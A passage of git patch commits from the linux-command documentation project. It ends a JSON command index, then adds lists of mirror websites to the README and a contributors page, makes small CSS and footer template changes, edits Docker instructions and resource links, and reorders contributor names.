粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file diff --git a/template/contributors.ejs b/template/contributors.ejs index 81cce14e78f..a911724e970 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -188,8 +188,40 @@

- 数据来源于 GitHub Contributors，使用action-contributors创建。 + 数据来源于 GitHub Contributors，使用 action-contributors 创建。

+

镜像网站

+
+ srebro.cn + getaifun.com + linux.devonline.net + man.zch.ooo + linux.mmoke.com + bqrdh.com + linux.zyimm.com + linux.vovuo.com + linux.liguiying.cn + renye.net + diqi.org + linux.alistnas.top + nenufm.com + linux.jiangyang.online + linuxsearch.largeinfo.cc +
+

魔改网站

+
+ linux.ftqq.com + linux.gaomeluo.com + atoolbox.net + xiaoshanseo.com + 262235.xyz + cmsblogs.cn + loquy.cn + buyao.vip + hezhiqiang.gitbook.io + utils.fun + 51tools.info +
<%- include('widget/footer',{type: "list"}); %> <%- include('partial/footer'); %> diff --git a/template/styl/index.styl b/template/styl/index.styl index f0cb0b04db5..23d3d0a531d 100644 --- a/template/styl/index.styl +++ b/template/styl/index.styl @@ -282,6 +282,17 @@ mq-mobile = "screen and (max-width: 479px)" a { font-weight: bold; } + .links { + display: inline-flex; + flex-wrap: wrap; + } + .links a { + background: var(--color-theme-bg); + height: 2.1rem; + border-radius: 0.3rem; + gap: 0.1rem; + padding: 0rem 0.5rem 0rem 0.4rem; + } } @media mq-mobile { diff --git a/template/widget/footer.ejs b/template/widget/footer.ejs index 966863110a6..3bea7dbaca9 100644 --- a/template/widget/footer.ejs +++ b/template/widget/footer.ejs @@ -17,4 +17,7 @@ <%=describe.command_length?describe.command_length:''%> 个Linux命令，超过 50+ 贡献者 +
+ 推荐自己的镜像网站 +
\ No newline at end of file From 944ab9c3990617824b447fb49bdeb5d3232dc099 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 13 Jun 2025 14:35:17 +0800 Subject: [PATCH 1011/1019] website: udpate contributors page. --- template/contributors.ejs | 2 +- template/styl/index.styl | 3 +++ template/widget/footer.ejs | 17 ++++++++++------- 3 files changed, 14 insertions(+), 8 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a911724e970..8f87054b9a8 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -190,7 +190,7 @@

数据来源于 GitHub Contributors，使用 action-contributors 创建。

-

镜像网站

+

镜像网站

srebro.cn getaifun.com diff --git a/template/styl/index.styl b/template/styl/index.styl index 23d3d0a531d..5f5acde1a7c 100644 --- a/template/styl/index.styl +++ b/template/styl/index.styl @@ -171,6 +171,9 @@ mq-mobile = "screen and (max-width: 479px)" &.home { border-top 0 } + div { + font-size 12px + } } .header.home { .header_inner { diff --git a/template/widget/footer.ejs b/template/widget/footer.ejs index 3bea7dbaca9..9da12da4d87 100644 --- a/template/widget/footer.ejs +++ b/template/widget/footer.ejs @@ -11,13 +11,16 @@ 打赏捐赠 | Github | 短地址：https://git.io/linux -
- 收藏本站请使用 Ctrl+D 或者Command+d -
共搜集到 - - <%=describe.command_length?describe.command_length:''%> - 个Linux命令，超过 50+ 贡献者
- 推荐自己的镜像网站 + 收藏本站请使用 Ctrl+D 或者Command+d +
+ 共搜集到 + + <%=describe.command_length?describe.command_length:''%> + 个Linux命令，超过 50+ 贡献者 +
+
+ 镜像网站列表， + 推荐自己的镜像网站
\ No newline at end of file From c7795cd3fe88cfeae227a9d80f82503de4c8cbe5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 13 Jun 2025 14:45:29 +0800 Subject: [PATCH 1012/1019] doc: Update README.md --- README.md | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index cd890c74514..74d73ac6f20 100644 --- a/README.md +++ b/README.md @@ -65,6 +65,8 @@ ⚠️ 你们拿过去部署的静态网站，还是希望挂个 GitHub 地址，这样大家共同维护命令文档，让文档更加完善，更加丰富，当然你删除本站所有信息相关信息，其实我也不太在意，默认允许你们随意搞，我不负任何负责。如果您也部署了一份，可以将网址放到下面 :)。 +由于中国国内访问，时常打不开，你可以访问下面镜像网站(国内打不开的不再收录)。推荐自己的[镜像网站 #649](https://github.com/jaywcjlove/linux-command/issues/649) + **推荐使用的镜像 web 版本** [**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/)，[`renye.net`](https://renye.net/)，[`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/)，[`linux.jiangyang.online`](https://linux.jiangyang.online/) @@ -85,7 +87,7 @@ - [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 - [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 -## Docker +## Docker 部署 [![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) @@ -93,16 +95,12 @@ ```bash docker pull wcjiang/linux-command -# Or -docker pull ghcr.io/jaywcjlove/linux-command:latest ``` ```bash docker run --name linux-command --rm -d -p 9665:3000 wcjiang/linux-command:latest # Or docker run --name linux-command -itd -p 9665:3000 wcjiang/linux-command:latest -# Or -docker run --name linux-command -itd -p 9665:3000 ghcr.io/jaywcjlove/linux-command:latest ``` 在浏览器中访问以下 URL From 3b822160e6e295b8751654541e1e2d5983415212 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 13 Jun 2025 14:56:22 +0800 Subject: [PATCH 1013/1019] doc: update README.md #649 --- README.md | 29 +++++++++++++++++++++++++++-- template/contributors.ejs | 1 + 2 files changed, 28 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 74d73ac6f20..21033632848 100644 --- a/README.md +++ b/README.md @@ -69,11 +69,36 @@ **推荐使用的镜像 web 版本** -[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/)，[`renye.net`](https://renye.net/)，[`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/)，[`linux.jiangyang.online`](https://linux.jiangyang.online/) +[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc) +[**`srebro.cn`**](https://linux.srebro.cn/) +[**`getaifun.com`**](https://getaifun.com/linux) +[**`linux.devonline.net`**](http://linux.devonline.net/) +[**`man.zch.ooo`**](https://man.zch.ooo/) +[**`linux.mmoke.com`**](https://linux.mmoke.com) +[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/) +[**`linux.zyimm.com`**](http://linux.zyimm.com/) +[**`linux.vovuo.com`**](https://linux.vovuo.com/) +[`linux.liguiying.cn`](https://linux.liguiying.cn/) +[`renye.net`](https://renye.net/) +[`diqi.org`](https://diqi.org/) +[`linux.alistnas.top`](https://linux.alistnas.top/) +[`nenufm.com`](https://www.nenufm.com/linux-command/) +[`linux.jiangyang.online`](https://linux.jiangyang.online/) **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/)，[`51tools.info`](https://51tools.info/linux/) +[`lylme.com`](https://linux.lylme.com/) +[`linux.ftqq.com`](https://linux.ftqq.com/) +[`linux.gaomeluo.com`](https://linux.gaomeluo.com) +[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826) +[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/) +[`262235.xyz`](https://262235.xyz/linux-command/) +[`cmsblogs.cn`](https://linux.cmsblogs.cn/) +[`loquy.cn`](https://www.loquy.cn/linux-command/) +[`buyao.vip`](https://demo.buyao.vip/linux/) +[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) +[`utils.fun`](https://linux.utils.fun/) +[`51tools.info`](https://51tools.info/linux/) ## 其它版本 diff --git a/template/contributors.ejs b/template/contributors.ejs index 8f87054b9a8..95b02b55b4b 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -210,6 +210,7 @@

魔改网站

+ linux.lylme.com linux.ftqq.com linux.gaomeluo.com atoolbox.net From a8a0ba31c121209802e19f4a4b4dcc587c0bc5db Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 25 Jun 2025 02:38:17 +0800 Subject: [PATCH 1014/1019] doc: Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 21033632848..e87c446592f 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,7 @@ 非常感谢一直以来支持我开源项目的朋友们！如果您认可我的工作，欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表：

+ Vidwall Mousio Hint Mousio Musicer From 22b9eb69d05afb6d75cb8d9062335d91a9f6885f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 24 Jun 2025 18:38:44 +0000 Subject: [PATCH 1015/1019] doc: update README.md. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e87c446592f..657615edf87 100644 --- a/README.md +++ b/README.md @@ -481,7 +481,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. MinsonLee Mystic Q.Ben Zheng -Alan +PanHeng azroy Cui Yang DaYangtuo247 From 69550d1f97a7f0602ff1a85e8f202b628df31c13 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 24 Jun 2025 18:38:45 +0000 Subject: [PATCH 1016/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 95b02b55b4b..0d6ad81808d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -135,7 +135,7 @@ MinsonLee Mystic Q.Ben Zheng -Alan +PanHeng azroy Cui Yang DaYangtuo247 From b968a554c5f95cf4c15772ed6ff9074c6b16de8d Mon Sep 17 00:00:00 2001 From: Hang <5147530+huhuhang@users.noreply.github.com> Date: Thu, 3 Jul 2025 15:36:41 +0800 Subject: [PATCH 1017/1019] doc: update Linux resources in README.md (#650) --- README.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 657615edf87..462fb3f15cf 100644 --- a/README.md +++ b/README.md @@ -278,7 +278,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ### 社区网站 - [Linux中国](https://linux.cn/) - 各种资讯、文章、技术 -- [实验楼](https://www.shiyanlou.com/) - 免费提供了Linux在线环境，不用在自己机子上装系统也可以学习Linux，超方便实用。 +- [LabEx](https://labex.io/) - 免费提供了Linux在线环境，不用在自己机子上装系统也可以学习Linux，超方便实用。 - [鸟哥的linux私房菜](http://linux.vbird.org/) - 非常适合Linux入门初学者看的教程。 - [Linux公社](http://www.linuxidc.com/) - Linux相关的新闻、教程、主题、壁纸都有。 - [Linux Today](http://www.linuxde.net) - Linux新闻资讯发布，Linux职业技术学习！。 @@ -288,10 +288,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 - [Linux思维导图整理](http://www.jianshu.com/p/59f759207862) - [Linux初学者进阶学习资源整理](http://www.jianshu.com/p/fe2a790b41eb) -- [Linux 基础入门（新版）](https://www.shiyanlou.com/courses/1) +- [Linux 新手入门（动手实验）](https://labex.io/zh/courses/linux-for-noobs) - [【译】Linux概念架构的理解](http://www.jianshu.com/p/c5ae8f061cfe) [En](http://oss.org.cn/ossdocs/linux/kernel/a1/index.html) - [Linux 守护进程的启动方法](http://www.ruanyifeng.com/blog/2016/02/linux-daemon.html) -- [Linux编程之内存映射](https://www.shiyanlou.com/questions/2992) - [Linux知识点小结](https://blog.huachao.me/2016/1/Linux%E7%9F%A5%E8%AF%86%E7%82%B9%E5%B0%8F%E7%BB%93/) - [10大白帽黑客专用的 Linux 操作系统](https://linux.cn/article-6971-1.html) From 6e1768c8e8e1216f160829c7d689949856fc1e27 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 3 Jul 2025 07:37:12 +0000 Subject: [PATCH 1018/1019] doc: update README.md. --- README.md | 41 +++++++++++++++++++++-------------------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index 462fb3f15cf..7219260fa52 100644 --- a/README.md +++ b/README.md @@ -377,34 +377,35 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Xrtero Shan Chenyu SteveLauC -duzhuoshanwai +BingCoke gggwvg VVatt -will +will xhal Shell 沙漠之子 alfred Wang Yujia Qliangw +Ein Verne +FunKeen +Jeremy2214 +Pan, Wen-Ming +QinShower +duzhuoshanwai Dazhuangw Alterem +RichardLCD YH Xingwen Zhang -RichardLCD -QinShower -Pan, Wen-Ming -Jeremy2214 -BingCoke -FunKeen -Ein Verne -lewis1573 -leo -NanoNova -kassadin -juemuren4449 -jqz3.tech +illmons jcdj666 +jqz3.tech +juemuren4449 +kassadin +NanoNova +leo +lewis1573 linuxwd Ricardowang cole @@ -412,7 +413,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -zyimm +0x_000 dayday Deny dongpohezui @@ -429,7 +430,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. hotdogc1017 huangyao hululu1068 -illmons +zyimm 七朔 孤城落寞 尘埃 @@ -463,7 +464,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 -0x_000 +Jelly Nexchard Karl Horky LaudOak @@ -479,7 +480,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Marnm MinsonLee Mystic -Q.Ben Zheng PanHeng azroy Cui Yang @@ -490,12 +490,13 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Frankie Github1977 Guiying Li +Hang 重劍無鋒 HighScorePlayer Huntout Zhang Jack Jack.A.Black -Jelly +Q.Ben Zheng Xonline-Tech Xu Chunyang Yan Sheng From 837c8529fe253f81a8264a009646e791e658660a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 3 Jul 2025 07:37:12 +0000 Subject: [PATCH 1019/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 41 ++++++++++++++++++++------------------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 0d6ad81808d..56cfb98cb56 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -32,34 +32,35 @@ Xrtero Shan Chenyu SteveLauC -duzhuoshanwai +BingCoke gggwvg VVatt -will +will xhal Shell 沙漠之子 alfred Wang Yujia Qliangw +Ein Verne +FunKeen +Jeremy2214 +Pan, Wen-Ming +QinShower +duzhuoshanwai Dazhuangw Alterem +RichardLCD YH Xingwen Zhang -RichardLCD -QinShower -Pan, Wen-Ming -Jeremy2214 -BingCoke -FunKeen -Ein Verne -lewis1573 -leo -NanoNova -kassadin -juemuren4449 -jqz3.tech +illmons jcdj666 +jqz3.tech +juemuren4449 +kassadin +NanoNova +leo +lewis1573 linuxwd Ricardowang cole @@ -67,7 +68,7 @@ miniwater noodles2hg nsnans -zyimm +0x_000 dayday Deny dongpohezui @@ -84,7 +85,7 @@ hotdogc1017 huangyao hululu1068 -illmons +zyimm 七朔 孤城落寞 尘埃 @@ -118,7 +119,7 @@ zodiac zoomdong zuixin369 -0x_000 +Jelly Nexchard Karl Horky LaudOak @@ -134,7 +135,6 @@ Marnm MinsonLee Mystic -Q.Ben Zheng PanHeng azroy Cui Yang @@ -145,12 +145,13 @@ Frankie Github1977 Guiying Li +Hang 重劍無鋒 HighScorePlayer Huntout Zhang Jack Jack.A.Black -Jelly +Q.Ben Zheng Xonline-Tech Xu Chunyang Yan Sheng